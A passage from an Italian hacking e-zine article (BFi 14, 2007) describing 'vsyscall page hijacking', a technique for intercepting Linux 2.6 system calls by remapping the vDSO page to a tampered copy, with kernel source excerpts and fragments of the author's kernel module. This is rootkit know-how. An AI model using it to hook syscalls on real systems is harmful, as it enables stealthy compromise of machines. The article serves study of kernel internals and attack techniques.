Copy Link
Add to Bookmark
Report

BFi numero 14 file 05

eZine's profile picture
Published in 
Butchered From Inside
 · 22 Aug 2019

  

================================================================================
---------------------[ BFi14-dev - file 05 - 08/09/2007 ]-----------------------
================================================================================


-[ DiSCLAiMER ]-----------------------------------------------------------------
Tutto il materiale contenuto in BFi ha fini esclusivamente informativi
ed educativi. Gli autori di BFi non si riterranno in alcun modo
responsabili per danni perpetrati a cose o persone causati dall'uso
di codice, programmi, informazioni, tecniche contenuti all'interno
della rivista.
BFi e' libero e autonomo mezzo di espressione; come noi autori siamo
liberi di scrivere BFi, tu sei libero di continuare a leggere oppure
di fermarti qui. Pertanto, se ti ritieni offeso dai temi trattati
e/o dal modo in cui lo sono, * interrompi immediatamente la lettura
e cancella questi file dal tuo computer * . Proseguendo tu, lettore,
ti assumi ogni genere di responsabilita` per l'uso che farai delle
informazioni contenute in BFi.
Si vieta il posting di BFi in newsgroup e la diffusione di *parti*
della rivista: distribuite BFi nella sua forma integrale ed originale.
--------------------------------------------------------------------------------


-[ HACKiNG ]--------------------------------------------------------------------
---[ VSYSCALL PAGE HiJACKiNG ]--------------------------------------------------
-----[ sbudella <sbudella@libero.it> ]------------------------------------------


***** Sommario.

- Introduzione;
- Fast System Call: sysenter;
- Fast System Call: sysexit;
- C Standard Library;
- Vsyscall Page;
- Vsyscall Page Hijacking: Fix-mapped Address vDSO;
- Vsyscall Page Hijacking: Randomized Address vDSO;
- Forging Custom Virtual Dynamic Shared Objects;
- Codice e Considerazioni Finali;
- Saluti;
- Riferimenti.

***** Introduzione.

Considerando alcune tra le tante nuove feature introdotte nel kernel Linux 2.6,
possiamo affermare che una delle piu' critiche e verticali riguarda il tardivo
supporto all'accoppiata di istruzioni sysenter/sysexit, previste dall'Intel
instruction set[1]. Tali istruzioni, come avremo modo di approfondire in
seguito, permettono di effettuare richieste da User Mode a Kernel Mode in
maniera decisamente piu' efficiente e veloce rispetto alla loro controparte
int/ret. Per richieste User Mode - Kernel Mode si intendono nello specifico
i servizi offerti dalle syscall. Il kernel Linux implementa queste istruzioni
mediante un particolare stratagemma chiamato vsyscall page.
Il presente articolo illustra una nuova tecnica che consiste nello sfruttare
questa caratteristica del kernel, permettendo ad un eventuale attaccante
di intercettare e dirottare le syscall e di modificare il loro comportamento
senza manipolare affatto la syscall table, o ricorrere a salti nel mezzo
delle funzioni[2] (si veda silvio cesare), ecc.; praticamente seguendo una
strada del tutto nuova che tra l'altro offre meritevoli spunti sulla
possibilita' di realizzare degli hook user/kernel space concettualmente ibridi.
La nostra attenzione si soffermera' sull'argomento syscall hijacking quindi,
per una panoramica approfondita delle tecniche di kernel hacking fino ad ora
utilizzate si consiglia la lettura dell'ottimo Linux Kernel Evil Programming
Demystified[3] di Dark-Angel.

***** Fast System Call: sysenter.

Dunque, prima di cominciare si rende necessario spiegare a quanti ancora non
lo conoscano, il funzionamento del meccanismo sysenter/sysexit.
Com'e' noto, fino al tuttora competitivo (e per certi versi insuperato) kernel
2.4, Linux offriva come unica modalita' per invocare le chiamate di sistema
l'istruzione 'int $0x80' che sappiamo essere un salto a kernel space;
precisamente accade che: la control unit carica nel code segment register %cs
i 16 bit del Segment Selector del kernel __KERNEL_CS, mentre in %eip vengono
caricati i 32 bit indicanti l'offset all'interno del kernel code segment al
quale salteremo: in poche parole si tratta dell'indirizzo del system call
handler, che si occupa di salvare alcuni registri sullo stack e di effettuare
alcuni controlli di validita' sul numero di syscall invocato. Tuttavia tale
procedura e', come accennato, particolarmente lenta, causa diversi controlli
effettuati dalla control unit sui privilegi di accesso intrinseci nei segmenti
di sistema (DPL, CPL, ecc.). Per questo motivo la Intel ha pensato bene di
introdurre la coppia sysenter/sysexit, sebbene ne siano dotati soltanto
modelli di processore x86 abbastanza recenti. Quando la CPU si appresta ad
eseguire una sysenter, essa copia ugualmente il segment selector del kernel
in %cs, l'indirizzo del system call handler in %eip e lo stack pointer del
kernel in %esp, cambiando dunque il contesto di esecuzione.
La novita' rispetto alla metodologia precedente pero', consiste nel fatto che
tali indirizzi sono memorizzati a initialization time in registri specifici
dipendenti dal modello di processore (MSR: Model-Specific Registers),
velocizzando dunque tutto il meccanismo in questione, rispetto al caso
segment descriptors oriented. Vediamo come il kernel Linux prepara questi
registri, chiamando appunto in fase di inizializzazione la funzione
enable_sep_cpu():

/usr/src/linux/arch/i386/kernel/sysenter.c
void enable_sep_cpu(void)
{
[...]
tss->ss1 = __KERNEL_CS;
tss->esp1 = sizeof(struct tss_struct) + (unsigned long) tss;
wrmsr(MSR_IA32_SYSENTER_CS, __KERNEL_CS, 0);
wrmsr(MSR_IA32_SYSENTER_ESP, tss->esp1, 0);
wrmsr(MSR_IA32_SYSENTER_EIP, (unsigned long) sysenter_entry, 0);
put_cpu();
}

Vediamo che la prima chiamata a wrmsr() copia il segment selector definito
dalla macro __KERNEL_CS nel registro specifico MSR_IA32_SYSENTER_CS;
successivamente si copia nel MSR_IA32_SYSENTER_ESP lo stack pointer relativo
al task state segment locale: praticamente si utilizza la fine del task state
segment stesso. L'ultimo passo e' quello di settare l'entry point del kernel
indicato da sysenter_entry nel MSR_IA32_SYSENTER_EIP.
Effettivamente, la differenza si nota solo a livello di chi si appresta ad
esaminare o scrivere codice assembly con la nuova feature: gli argomenti
di chiamata di sistema andranno sempre nei registri general purpose %ebx, %ecx,
ecc., il numero di syscall richiesto sempre in %eax, mentre e' necessario
un piccolo accorgimento; vediamone un esempio banale:

<-| vdso/misc/hello.S |->
.globl main
mess: .string "hello\n"
main:
movl $4, %eax
movl $0, %ebx
movl $mess, %ecx
movl $6, %edx

/* you need these instructions below to use with sysenter */
__kernel_vsyscall:
pushl %ecx
pushl %edx
pushl %ebp
movl %esp,%ebp
sysenter

<-X->

Notare la differenza rispetto a un classico asm su linux che utilizzi
int $0x80.
Abbiamo bisogno di quelle quattro istruzioni in piu' per salvare %ecx, %edx ed
%ebp sullo stack poiche' questi ultimi registri verranno utilizzati dal system
call handler (sysenter_entry). Analizziamo brevemente quest'ultimo, almeno
nelle parti pertinenti alla nostra trattazione:

/usr/src/linux/arch/i386/kernel/entry.S
ENTRY(sysenter_entry)
[...]
ENABLE_INTERRUPTS(CLBR_NONE)
pushl $(__USER_DS)
CFI_ADJUST_CFA_OFFSET 4
pushl %ebp
CFI_ADJUST_CFA_OFFSET 4
CFI_REL_OFFSET esp, 0
pushfl
CFI_ADJUST_CFA_OFFSET 4
pushl $(__USER_CS)
CFI_ADJUST_CFA_OFFSET 4
[...]
pushl $SYSENTER_RETURN

Dunque, possiamo vedere che abilitiamo gli interrupt locali con la prima
istruzione; salviamo sul kernel mode stack il segment selector di user data,
%ebp, il contenuto del registro eflags, il segment selector dello user code ed
infine l'indirizzo di SYSENTER_RETURN, ovvero il codice da eseguire dopo essere
usciti dal syscall handler. Questi valori sullo stack serviranno a ristabilire
il contesto di esecuzione in user mode, dopo aver eseguito la syscall service
routine, cioe' il codice della chiamata di sistema vero e proprio.
Di tale lavoro se ne occupa sysexit.

***** Fast System Call: sysexit.

A questo punto, ipotizzando di aver eseguito proprio la syscall service
routine, non ci resta che fare ritorno allo user mode. Prima di cio',
l'esecuzione ritorna al syscall handler: in %edx viene memorizzato l'indirizzo
di SYSENTER_RETURN che, come abbiamo visto poc'anzi, e' stato pushato sullo
stack.
Dopodiche' si esegue finalmente sysexit. Questa istruzione non fa altro che
settare il code segment register %cs con il valore dello user code segment:
per velocizzare il tutto si copia il valore del registro MSR_IA32_SYSENTER_CS
sommato a 16, il che equivale proprio al valore macro __USER_CS. Alla stessa
maniera (+24) viene settato %ss con lo user data segment selector; in %eip
invece viene copiato il valore di %edx, cioe' SYSENTER_RETURN.
Questa etichetta delimita le seguenti istruzioni, eseguite quindi in user mode:

SYSENTER_RETURN:
popl %ebp
popl %edx
popl %ecx
ret

Infatti se si ricorda, abbiamo salvato tali valori sullo user mode stack
prima di operare sysenter.
Adesso proviamo a sottolineare i domini di esecuzione di tutto il procedimento
appena descritto, cogliendo l'occasione per riassumere una non molto intuitiva
esposizione:

1. programma -> USER MODE -> __kernel_vsyscall
2. __kernel_vsyscall -> USER MODE -> sysenter
3. sysenter -> KERNEL MODE -> sysenter_entry handler
4. sysenter_entry handler -> KERNEL MODE -> syscall service routine
5. syscall service routine -> KERNEL MODE -> sysenter_entry handler
6. sysenter_entry handler -> KERNEL MODE -> sysexit
7. sysexit -> USER MODE -> SYSENTER_RETURN

Bene, ora che abbiamo fatto nostro il funzionamento del fast system call,
possiamo introdurre un comprimario fondamentale per la nostra faccenda.
Si invita il lettore a soffermarsi in modo particolare sui punti 1, 2 e 7
dello schema di cui sopra.

***** C Standard Library.

Nel punto 1 abbiamo detto che il programma in esecuzione accede alla
__kernel_vsyscall label in user mode ogni qualvolta si accinge a fare una
chiamata di sistema. La totalita' dei programmi Linux, siano essi statici o
dinamici, utilizza il supporto della libreria standard, la libc per intenderci,
che consiste in una collezione di wrapper utili per semplificare il passaggio
di richieste al kernel mediante syscall, cioe': quando chiediamo di scrivere
sullo stdout con una printf, e' la standard library che per noi si occupa
di tradurre la chiamata da user space a kernel space, ovvero setta %eax
con il syscall number appropriato e successivamente i registri general purpose
con gli argomenti necessari; in seguito deve eseguire lo switch vero e proprio
cambiando il dominio di esecuzione, e lo fa proprio con sysenter, nel caso
sia supportato dal processore, o con int $0x80 in caso contrario.
Vediamo una conferma:

sbudella@hannibal:~$ objdump -d /lib/libc-2.5.so > libc.2.5.dump

Cerchiamo un wrapper qualsiasi:

[...]
c2890: 89 da mov %ebx,%edx
c2892: 8b 5c 24 04 mov 0x4(%esp),%ebx
c2896: b8 28 00 00 00 mov $0x28,%eax
c289b: cd 80 int $0x80
[...]

Le prime due istruzioni non ci interessano; e' importante invece notare che
in %eax viene posto il valore del syscall number (in questo caso si tratta
di rmdir, se fosse stato il wrapper write avremmo posto il valore 0x4, si veda
/usr/include/asm/unistd.h); successivamente facciamo il salto a kernel space
con la vecchia int $0x80. Questo e' dunque in via generale, il comportamento
di un wrapper di libc che fa da trampoline tra user e kernel space.
Adesso proviamo a fare altrettanto con la nuovissima libc-2.6:

sbudella@hannibal:~$ objdump -d /lib/libc-2.6.so > libc.2.6.dump

[...]
b2740: 89 da mov %ebx,%edx
b2742: 8b 5c 24 04 mov 0x4(%esp),%ebx
b2746: b8 28 00 00 00 mov $0x28,%eax
b274b: 65 ff 15 10 00 00 00 call *%gs:0x10
[...]

Notare come sia cambiata l'ultima istruzione. Abbiamo trovato una call davvero
particolare al posto dell'istruzione classica int. Dunque la nuova libc
gestisce il trampoline a kernel space in modo del tutto diverso, e questo, si
tiene a sottolinearlo, e' valido per i wrapper di tutte le altre syscall, non
solo per quella in esame. Tuttavia dobbiamo indagare la natura di quella
singolare call:
costruiamo un semplicissimo programma di prova che utilizzi proprio questa call
e vediamo cosa succede; in questo caso ci riferiamo a write per immediatezza:

<-| vdso/misc/hello_call.S |->
.globl main
mess: .string "hello\n"
main:
movl $4, %eax
movl $0, %ebx
movl $mess, %ecx
movl $6, %edx

/* where am I going? */
call *%gs:0x10

<-X->

sbudella@hannibal:~$ gcc -o hello_call hello_call.S
sbudella@hannibal:~$ ./hello_call
hello
sbudella@hannibal:~$

Non abbiamo fatto altro che emulare il comportamento di un piu' generico
wrapper della nuova libc 2.6. E' evidente che la nostra sys_write viene
eseguita perfettamente. Possiamo affermare con certezza che tra sysenter e int,
almeno una di esse e' stata passata al processore, poiche' uniche modalita' per
effettuare salti a kernel space.
Infatti, sfogliando i sorgenti della libc 2.6 ci si convince di cio':

glibc-2.6/sysdeps/unix/sysv/linux/i386/sysdep.h
[...]
#ifdef I386_USE_SYSENTER
# ifdef SHARED
# define ENTER_KERNEL call *%gs:SYSINFO_OFFSET
# else
# define ENTER_KERNEL call *_dl_sysinfo
# endif
#else
# define ENTER_KERNEL int $0x80
#endif
[...]

Da questo deduciamo che il registro %gs punta ad un segmento di codice
aggiuntivo il quale, considerando uno spiazzamento di 0x10 bytes,
deve senza ombra di dubbio contenere una delle due istruzioni suddette.

***** Vsyscall Page.

Il mistero e' presto svelato: il codice in questione, che possiamo definire
come un prologo al salto a kernel space, e' memorizzato in una ben precisa
locazione di memoria del kernel. Infatti il kernel Linux in fase di
inizializzazione alloca un page frame, la vsyscall page appunto, contenente
un vDSO (virtual dynamic shared object) di esigue dimensioni, il cui entry
point e' proprio __kernel_vsyscall, il codice visto prima. Ma c'e' dell'altro.
Abbiamo detto che non tutti i modelli di processore x86 beneficiano del
supporto fast system call, dunque si rende necessario risolvere un problema di
compatibilita': la standard library non puo' certo discriminare i due casi
di syscall access, ed infatti questo e' compito del kernel. Esaminiamo il
codice incaricato di fare quanto discusso:

/usr/src/linux/arch/i386/kernel/sysenter.c
[...]
extern const char vsyscall_int80_start, vsyscall_int80_end;
extern const char vsyscall_sysenter_start, vsyscall_sysenter_end;
static struct page *syscall_pages[1];

int __init sysenter_setup(void)
{
void *syscall_page = (void *)get_zeroed_page(GFP_ATOMIC);
syscall_pages[0] = virt_to_page(syscall_page);

Innanzi tutto e' importante dire che ad ogni page frame e' associato un
descrittore di tipo "struct page" che si occupa di mantenerne le informazioni
di stato. Pertanto dichiariamo un nuovo page descriptor di nome syscall_pages
(o meglio un array di page descriptor di un solo elemento). Invece richiediamo
al kernel di allocare una pagina vera e propria di nome syscall_page con
get_zeroed_page(), e la correliamo al suo page descriptor con la macro
virt_to_page(), che restituisce appunto l'indirizzo in memoria del descrittore.

#ifdef CONFIG_COMPAT_VDSO
__set_fixmap(FIX_VDSO, __pa(syscall_page), PAGE_READONLY_EXEC);
printk("Compat vDSO mapped to %08lx.\n", __fix_to_virt(FIX_VDSO));
#endif

I primi kernel ad implementare la vsyscall page mappavano quest'ultima ad
un indirizzo virtuale fisso, tant'e' che anche le release piu' recenti
abilitano tale modello su richiesta in fase di configurazione. Spieghiamo.
Ogni indirizzo lineare L su Linux ha corrispondente indirizzo fisico P secondo:

P = L - 0xc0000000;

Un fix-mapped linear address invece e' semplicemente un indirizzo fisico
mappato in modo arbitrario. __set_fixmap e' la macro che si occupa quindi di
associare un physical address con un fix-mapped linear address.
Tuttavia questa vsyscall page fissa e' stata accantonata per motivi di
sicurezza[4] in favore di un vDSO mappato linearmente ad indirizzi random.
Ma di questo parleremo in seguito. Proseguiamo la nostra analisi:

if (!boot_cpu_has(X86_FEATURE_SEP)) {
memcpy(syscall_page,
&vsyscall_int80_start,
&vsyscall_int80_end - &vsyscall_int80_start);
return 0;
}

memcpy(syscall_page,
&vsyscall_sysenter_start,
&vsyscall_sysenter_end - &vsyscall_sysenter_start);

return 0;
}

E' qui che controlliamo la presenza del sep bit (la fast system call facility)
con la macro boot_cpu_has(): nel caso sia assente copiamo nel nostro page frame
il vDSO contenente il seguente codice (all'indirizzo vsyscall_int80_start):

/usr/src/linux/arch/i386/kernel/vsyscall-int80.S
[...]
__kernel_vsyscall:
.LSTART_vsyscall:
int $0x80
ret
.LEND_vsyscall:
[...]

Altrimenti copia il vDSO con supporto sysenter (all'indirizzo
vsyscall_sysenter_start), cioe' il codice a noi familiare:

/usr/src/linux/arch/i386/kernel/vsyscall-sysenter.S
[...]
__kernel_vsyscall:
.LSTART_vsyscall:
push %ecx
.Lpush_ecx:
push %edx
.Lpush_edx:
push %ebp
.Lenter_kernel:
movl %esp,%ebp
sysenter

/* 7: align return point with nop's to make disassembly easier */
.space 7,0x90

/* 14: System call restart point is here! (SYSENTER_RETURN-2) */
jmp .Lenter_kernel
/* 16: System call normal return point is here! */
.globl SYSENTER_RETURN /* Symbol used by sysenter.c */
SYSENTER_RETURN:
pop %ebp
.Lpop_ebp:
pop %edx
.Lpop_edx:
pop %ecx
.Lpop_ecx:
ret
.LEND_vsyscall:
[...]

In entrambe le situazioni viene quindi definita la label __kernel_vsyscall.
Cerchiamo di riordinare un po' le idee. Il codice di __kernel_vsyscall e'
dunque residente in KERNEL SPACE; finora abbiamo asserito che a tale codice
vi accede la libc utilizzando la 'call *%gs:0x10' da USER SPACE in modo tale
da richiamare sysenter o int $0x80 a seconda dei casi. Come e' possibile?
La soluzione a questa incongruenza e' che i processi in esecuzione in procinto
di richiamare una syscall mediante libc+call, non accedono direttamente
alla vsyscall page in kernel memory: essa e' bensi' mappata nell'address space
di ogni processo in esecuzione a run time, sottoforma di memory region,
dimodoche' la nostra call a __kernel_vsyscall e' una call ad un indirizzo
appartenente allo spazio di indirizzamento del processo. Infatti:

sbudella@hannibal:~$ cat /proc/self/maps
08048000-0804c000 r-xp 00000000 03:01 1267 /bin/cat
0804c000-0804d000 rw-p 00003000 03:01 1267 /bin/cat
0804d000-0806e000 rw-p 0804d000 00:00 0 [heap]
[...]
b7e9b000-b7fc4000 r-xp 00000000 03:01 102966 /lib/libc-2.6.so
b7fc4000-b7fc6000 r--p 00129000 03:01 102966 /lib/libc-2.6.so
b7fc6000-b7fc7000 rw-p 0012b000 03:01 102966 /lib/libc-2.6.so
b7fc7000-b7fcb000 rw-p b7fc7000 00:00 0
[...]
b7fcf000-b7fd0000 r-xp b7fcf000 00:00 0 [vdso]
b7fd0000-b7feb000 r-xp 00000000 03:01 12503 /lib/ld-2.6.so
b7feb000-b7fec000 r--p 0001a000 03:01 12503 /lib/ld-2.6.so
b7fec000-b7fed000 rw-p 0001b000 03:01 12503 /lib/ld-2.6.so
bfb95000-bfbab000 rw-p bfb95000 00:00 0 [stack]

Vediamo che all'indirizzo 0xb7fcf000 comincia la memory region contenente il
nostro vDSO. La funzione che si occupa di mappare per noi la vsyscall page
e' arch_setup_additional_pages(), richiamata in fase di creazione di qualsiasi
processo dall'imponente load_elf_binary() definita in
/usr/src/linux/fs/binfmt_elf.c; vediamo uno stralcio della prima:

/usr/src/linux/arch/i386/kernel/sysenter.c
[...]
int arch_setup_additional_pages(struct linux_binprm *bprm, int exstack)
{
struct mm_struct *mm = current->mm;
unsigned long addr;
int ret;

down_write(&mm->mmap_sem);
addr = get_unmapped_area(NULL, 0, PAGE_SIZE, 0, 0);
[...]

La funzione get_unmapped_area() ci restituisce l'indirizzo della prima memory
region disponibile nello spazio di indirizzamento del processo corrente
(current, per l'appunto).

ret = install_special_mapping(mm, addr, PAGE_SIZE,
VM_READ|VM_EXEC|
VM_MAYREAD|VM_MAYWRITE|VM_MAYEXEC|
VM_ALWAYSDUMP,
syscall_pages);
if (ret)
goto up_fail;

current->mm->context.vdso = (void *)addr;
current_thread_info()->sysenter_return =
(void *)VDSO_SYM(&SYSENTER_RETURN);
[...]

La parte piu' importante di tutto il nostro discorso, e forse anche la piu'
utile ai nostri scopi futuri, e' quella relativa a install_special_mapping().
Vediamo solamente com'e' definita:

/usr/src/linux/mm/mmap.c
[...]
int install_special_mapping(struct mm_struct *mm,
unsigned long addr, unsigned long len,
unsigned long vm_flags, struct page **pages)
[...]

Il commento nello stesso sorgente ci dice gia' tutto: la funzione inserisce
nell'address space descritto da 'mm' del processo (nel nostro caso
current->mm), una nuova vm_area_struct, cioe' una nuova memory region per
intenderci.
I page frame da mappare sono dati dall'array struct page **pages: infatti
noi abbiamo passato come argomento syscall_pages, che se si ricorda era
stato dichiarato stranamente proprio come array di un solo elemento.
Pertanto e' install_special_mapping che affettua la mappatura vera e propria
in base ai page frame passatigli.
Dunque e' proprio su quel 'static struct page *syscall_pages[1];' dichiarato
in precedenza che dobbiamo lavorare.

***** Vsyscall Page Hijacking: Fix-mapped Address vDSO.

E' giunto il momento di elaborare una qualche idea per sovvertire tutto il
meccanismo finora discusso. Iniziamo il nostro percorso prendendo prima in
considerazione il caso in cui il vDSO sia mappato secondo il fix-mapping:

sbudella@hannibal:~$ dmesg | grep -i vdso
Compat vDSO mapped to ffffe000.
sbudella@hannibal:~$

Ci si ricordi un attimo dell'eventualita' di questo risultato: il nostro
kernel e' stato compilato con l'opzione CONFIG_COMPAT_VDSO; infatti:

sbudella@hannibal:~$ grep CONFIG_COMPAT_VDSO /boot/compat/config
CONFIG_COMPAT_VDSO=y
sbudella@hannibal:~$

Revisionando il codice del kernel, come abbiamo visto, la macro __set_fixmap
ha associato per noi il page frame contenente il vDSO ad un indirizzo lineare
fisso, nel nostro caso (ed in tutti gli altri casi) 0xffffe000.
Se proprio si vuol essere pignoli, possiamo ricavare l'intero vDSO
direttamente dalla memoria di un processo a scelta, con una prassi nota a
tutti gli utenti Linux:

sbudella@hannibal:~$ dd if=/proc/self/mem of=vdso bs=4096 count=1 skip=1048574
1+0 records in
1+0 records out
4096 bytes (4.1 kB) copied, 0.000155304 s, 26.4 MB/s
sbudella@hannibal:~$ file vdso
vdso: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), stripped
sbudella@hannibal:~$ objdump -d vdso > vdso.dump
sbudella@hannibal:~$ head -23 vdso.dump

vdso: file format elf32-i386

Disassembly of section .text:

ffffe400 <__kernel_vsyscall>:
ffffe400: 51 push %ecx
ffffe401: 52 push %edx
ffffe402: 55 push %ebp
ffffe403: 89 e5 mov %esp,%ebp
ffffe405: 0f 34 sysenter
ffffe407: 90 nop
ffffe408: 90 nop
ffffe409: 90 nop
ffffe40a: 90 nop
ffffe40b: 90 nop
ffffe40c: 90 nop
ffffe40d: 90 nop
ffffe40e: eb f3 jmp ffffe403 <__kernel_vsyscall+0x3>
ffffe410: 5d pop %ebp
ffffe411: 5a pop %edx
ffffe412: 59 pop %ecx
ffffe413: c3 ret
sbudella@hannibal:~$

Si nota benissimo come la label __kernel_vsyscall, l'entry point del vDSO,
sia a +0x400 bytes dall'inizio del file; inoltre e' indubbio che sia attivato
il supporto alla fast system call facility, sysenter e' visibilissimo.
Se si seguisse lo stesso procedimento su una macchina piu' in la' con gli anni:

sbudella@miranda:~$ head vdso.dump

vdso: file format elf32-i386

Disassembly of section .text:

ffffe400 <__kernel_vsyscall>:
ffffe400: cd 80 int $0x80
ffffe402: c3 ret
ffffe403: 90 nop
ffffe404: 90 nop
sbudella@miranda:~$

Bene, adesso che abbiamo dato anche una dimostrazione pratica dettagliata di
quello che giunge agli occhi dell'utente finale , torniamo alla nostra
tabella di marcia. Le nostre intenzioni iniziali riguardavano il syscall
hijacking: come possiamo congiungere tale tecnica di hacking con la vsyscall
page? La risposta e' abbastanza semplice; nel caso fix-mapped vDSO lo e' ancor
piu': sostanzialmente si tratta di abolire la correlazione tra il physical
address del vsyscall page frame ed il suo indirizzo lineare fixed. In seguito
allochiamo un nuovo page frame che conterra' una versione modificata ad-hoc
del vDSO originale, la quale svolgera' il compito di hook vero e proprio.
Infine stabiliamo un nuovo fix-mapping tra il nostro page frame "maligno" e
l'indirizzo lineare fixed, che corrispondera' sempre a 0xffffe000,
dimodoche' quando la libc effettuera' la chiamata 'call *%gs:0x10', l'eip
saltera' direttamente al nostro __kernel_vsyscall rimaneggiato.
Esaminiamo ora il codice allegato prodotto dal vostro umile autore:
per eseguire il primo obiettivo, cioe' la de-mappatura dell'indirizzo, ci
serviamo della macro clear_fixmap, che altro non e' che una chiamata alla gia'
nota __set_fixmap in un modo un po' singolare:

/usr/src/linux/asm-i386/fixmap.h
[...]
#define clear_fixmap(idx) \
__set_fixmap(idx, 0, __pgprot(0))
[...]

Il parametro idx informa il kernel sul tipo di mappatura di cui abbiamo
bisogno: nel nostro caso dobbiamo utilizzare il valore FIX_VDSO.
Nota: il simbolo di __set_fixmap non e' esportato, percio' e' necessario
ricavarlo dal System.map sincronizzato con il kernel corrente. Quindi:

vdso/vdso_hack.c
[...]
unsigned long __set_fixmap_addr = SET_FIXMAP_ADDR;
module_param(__set_fixmap_addr,long,0);
[...]
void (*__set_fixmap_)(enum fixed_addresses idx,unsigned long phys,
pgprot_t flags) = (void *) SET_FIXMAP_ADDR;

__set_fixmap_ = (void *) __set_fixmap_addr;
[...]
#ifdef CONFIG_COMPAT_VDSO
/* equivalent to clear_fixmap(FIX_VDSO) */
__set_fixmap_(FIX_VDSO,0,__pgprot(0));
[...]

Tutto questo non prima di aver allocato un nuovo page frame per il nostro vdso:

vdso/vdso_hack.c
[...]
void *new_syscall_page = (void *) get_zeroed_page(GFP_ATOMIC);
[...]

Adesso possiamo rieffettuare la mappatura mediante FIX_VDSO sempre allo stesso
fix-mapped linear address 0xffffe000:

vdso/vdso_hack.c
[...]
/* new fixmapping for the vsyscall page */
__set_fixmap_(FIX_VDSO,__pa(new_syscall_page),PAGE_READONLY_EXEC);
[...]

Bene, non ci resta che copiare nel nuovo page frame il nostro vDSO
customizzato:

vdso/vdso_hack.c
[...]
if(!boot_cpu_has(X86_FEATURE_SEP)) {
memcpy(new_syscall_page,mcnamara,MCNAMARA_SIZE);
return 0;
}

memcpy(new_syscall_page,troy,TROY_SIZE);
[...]

Si noti come discriminiamo i casi int80 o sysenter, copiando nel primo caso
il codice della funzione mcnamara, mentre nel secondo il codice della funzione
troy, implementate entrambe con un piccolo stratagemma:

vdso/vdso_hack.c
[...]
/* modify these paths to resemble your cwd */
#define MCNAMARA_INCBIN ".incbin \"/home/sbudella/src/vdso/mcnamara\""
#define TROY_INCBIN ".incbin \"/home/sbudella/src/vdso/troy\""
[...]
void mcnamara(void)
{
__asm__(MCNAMARA_INCBIN);
}

void troy(void)
{
__asm__(TROY_INCBIN);
}
[...]

Niente di piu' semplice: le due funzioni contengono il codice dei binari dei
vDSO che abbiamo modificato per performare i nostri futuri hook, ma di questo
parleremo in seguito. Ora urge concludere il discorso sull'hijacking vero e
proprio della vsyscall page: studiamo il caso in cui l'indirizzo del vDSO
nell'address space del processo sia randomizzato.

***** Vsyscall Page Hijacking: Randomized Address vDSO.

E' risaputo che il layout dello spazio di indirizzamento di un processo, nel
nuovo kernel 2.6, puo' assumere due aspetti principali: quello classico,
secondo cui la mappatura di memory regions aggiuntive a text, data, bss e heap
comincia dall'indirizzo lineare 0x40000000, e quindi in modo progressivamente
incrementale verso indirizzi lineari crescenti; dall'altra parte abbiamo il
recente memory layout flessibile, il quale prevede che il mapping di regioni
aggiuntive avvenga a partire dalla fine dello user mode stack via verso
indirizzi lineari decrescenti, pertanto la configurazione di memoria dipende
da quanto ci si aspetta che lo stack cresca. Nelle situazioni in cui lo stack
puo' crescere illimitatamente, il kernel decide di utilizzare il layout
classico, altrimenti la scelta ricade sulla seconda modalita' (si veda
/usr/src/linux/arch/i386/mm/mmap.c). Inutile dire che nel secondo caso ci si
ritrova con una configurazione di memoria in cui gli indirizzi lineari delle
memory regions sono randomizzati, e quello del vDSO non fa eccezione.
Infatti, utilizzando un kernel tale che:

sbudella@hannibal:~$ grep CONFIG_COMPAT_VDSO /boot/config
# CONFIG_COMPAT_VDSO is not set
sbudella@hannibal:~$

la memory region alla quale e' stata mappata la vsyscall page ha un indirizzo
lineare non predicibile, a meno che l'amministratore non abbia impostato
lo stack in modo tale da assumere dimensioni illimitate.
In queste situazioni la nostra strategia deve altresi' cambiare.
Dobbiamo ricordare anzitutto la funzione install_special_mapping() menzionata
poco prima: abbiamo passato come ultimo argomento l'array *syscall_pages[1]
di page descriptor, cosicche' essa potesse mappare il page frame correlato
a tale page descriptor con una memory region nell'address space del processo
corrente. Pertanto se vogliamo che venga mappata la nostra vsyscall page
manipolata dobbiamo far si' che quell'unico descrittore di page frame si
riferisca al __nostro__ page frame, precedentemente allocato e contenente il
codice del vDSO modificato per l'occasione: di questo passo non facciamo altro
che alterare l'indirizzo a cui punta il page descriptor da passare ad
install_special_mapping(). Si tratta di una manciata di codice C, e ricordando
che il simbolo di syscall_pages non e' esportato, risulta:

vdso/vdso_hack.c
[...]
unsigned long syscall_pages_addr = SYSCALL_PAGES_ADDR;
module_param(syscall_pages_addr,long,0);
[...]
struct page **o_syscall_pages = (struct page **) SYSCALL_PAGES_ADDR;
[...]
o_syscall_pages = (struct page **) syscall_pages_addr;
[...]

Referenziamo il nostro page frame al page descriptor ufficiale con la seguente
istruzione:

vdso/vdso_hack.c
[...]
o_syscall_pages[0] = virt_to_page(new_syscall_page);
[...]

Dove new_syscall_page e' stato allocato anzitempo (si veda il paragrafo
precedente). In seguito copiamo nel page frame il codice del vDSO troy o
mcnamara, come gia' visto. Ed e' proprio dell'argomento riguardante la modifica
dei vDSO, con relativa metodologia per implementare gli hook delle syscall,
che dobbiamo ancora discutere.

***** Forging Custom Virtual Dynamic Shared Objects.

I vDSO che in condizioni normali il kernel Linux copierebbe nella vsyscall
page vengono assemblati e linkati in fase di compilazione del kernel stesso:
essi sono vsyscall-int80.so e vsyscall-sysenter.so, costruiti mediante uno
script aggiuntivo del linker ld(1). Diamo un'occhiata alle sue parti piu'
salienti:

/usr/src/linux/arch/i386/kernel/vsyscall.lds.S
SECTIONS
{
[...]
. = VDSO_PRELINK + 0x400;

.text : { *(.text) } :text =0x90909090
.note : { *(.note.*) } :text :note
.eh_frame_hdr : { *(.eh_frame_hdr) } :text :eh_frame_hdr
.eh_frame : { KEEP (*(.eh_frame)) } :text
.dynamic : { *(.dynamic) } :text :dynamic
.useless : {
*(.got.plt) *(.got)
*(.data .data.* .gnu.linkonce.d.*)
*(.dynbss)
*(.bss .bss.* .gnu.linkonce.b.*)
} :text
[...]

Con il comando SECTIONS decidiamo il layout delle sezioni costituenti l'elf
da linkare: si nota benissimo che i vDSO saranno definiti in maniera davvero
minimale. Infatti, oltre all'indispensabile .text, ad essa verranno accodate
.note, .eh_frame*, .dynamic ed una singolare sezione di nome .useless, nella
quale vengono accorpate la .data section, .bss ed altre sezioni irrilevanti
per il funzionamento dello shared object in via di linkaggio. Dunque
di primo acchito si puo' affermare che i vDSO uscenti non sono dotati di
una ben definita sezione dati. Diciamo inoltre che la .note section e' designata
dal codice in /usr/src/linux/arch/i386/kernel/vsyscall-note.S. Proseguiamo:

/usr/src/linux/arch/i386/kernel/vsyscall.lds.S
[...]
VERSION
{
LINUX_2.5 {
global:
